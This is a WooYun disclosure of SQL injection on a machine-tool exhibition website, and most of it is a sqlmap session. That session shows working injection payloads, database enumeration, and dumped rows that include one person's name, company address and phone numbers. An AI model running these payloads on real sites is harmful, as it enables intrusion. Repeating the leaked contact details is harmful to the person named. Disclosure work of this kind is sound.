当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132230

漏洞标题:第十四届中国国际机床展览会官网存在sql注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-08-13 21:46

修复时间:2015-09-28 11:02

公开时间:2015-09-28 11:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-13: 细节已通知厂商并且等待厂商处理中
2015-08-14: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

详细说明:


第十四届中国国际机床展览会官网存在sql注入漏洞,暴露大量厂商信息
漏洞页面:http://**.**.**.**/top/2015cimt/news_t_view.html?id=468516
虽然已经结束了,但上面信息量还是蛮大的

3.png

2.png

1.png


root@kali:~# sqlmap -u "http://**.**.**.**/top/2015cimt/news_t_view.html?id=468516" -p id 
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:57:18
[12:57:18] [INFO] testing connection to the target URL
[12:57:19] [INFO] testing if the target URL is stable. This can take a couple of seconds
[12:57:20] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[12:57:23] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[12:57:23] [INFO] testing for SQL injection on GET parameter 'id'
[12:57:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:57:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:57:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:57:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:57:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[12:57:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[12:57:29] [INFO] testing 'MySQL inline queries'
[12:57:29] [INFO] testing 'PostgreSQL inline queries'
[12:57:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[12:57:29] [INFO] testing 'Oracle inline queries'
[12:57:29] [INFO] testing 'SQLite inline queries'
[12:57:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:57:29] [WARNING] time-based comparison requires larger statistical model, please wait..
[12:57:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[12:57:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[12:57:30] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:58:12] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
[12:58:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:58:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:58:18] [INFO] target URL appears to be UNION injectable with 19 columns
[12:58:23] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if anyn
sqlmap identified the following injection points with a total of 75 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=468516' AND 2548=2548 AND 'uNwy'='uNwy
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: id=-4439' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716f777571,0x796267434e767163624f,0x71687a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=468516' AND SLEEP(5) AND 'NzlD'='NzlD
---
[12:58:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0.11
[12:58:37] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'
[*] shutting down at 12:58:37
available databases [6]:
[*] corpdb19
[*] globaldb19
[*] gsessiondb
[*] information_schema
[*] mysql
[*] performance_schema


Database: mysql                                                                
[14 tables]
+---------------------------+
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| proc |
| slow_log |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+


Database: corpdb19                                                             
Table: sph_counter
[3 columns]
+------------+-----------+
| Column | Type |
+------------+-----------+
| channel | char(20) |
| counter_id | int(11) |
| lasttime | timestamp |
+------------+-----------+
[20:57:55] [INFO] fetched data logged to t


Database: corpdb19
Table: user_exp_apply
[6 entries]
+---------+----------+---------------+---------------------------------------------------------------------+--------+----------+------------+---------------------+
| user_id | apply_id | exhibition_id | remark | ticket | del_flag | audit_flag | apply_date |
+---------+----------+---------------+---------------------------------------------------------------------+--------+----------+------------+---------------------+
| 261426 | 1 | 7 | 参观 | 3 | 0 | 0 | 2010-07-16 17:09:33 |
| 262080 | 2 | 47 | 多国仪器仪表展览会 | 2 | 0 | 0 | 2010-09-02 14:27:01 |
| 262308 | 3 | 32 | 参加12届机械展 | 10 | 0 | 0 | 2010-10-28 13:50:25 |
| 262308 | 4 | 32 | 参加12届机械展 | 10 | 0 | 0 | 2010-10-28 13:50:32 |
| 261428 | 5 | 104 | 上海浦东三林路168号6号楼一楼 设计部 周广青 上海山姆环保设备有限公司 | 2 | 0 | 0 | 2011-04-11 13:11:33 |
| 261428 | 6 | 104 | 上海浦东三林路168号6号楼一楼 设计部 周广青 上海山姆环保设备有限公司 15000118209 021-50829255 | 2 | 0 | 0 | 2011-04-11 13:11:52 |
+---------+----------+---------------+---------------------------------------------------------------------+--------+----------+------------+---------------------+


这里我就不继续爆下去了,扫两下要停一个小时

漏洞证明:

如上,信息量蛮大的,特别大量厂商的信息

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-14 11:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给北京分中心,由其后续协调网站管理单位处置

最新状态:

暂无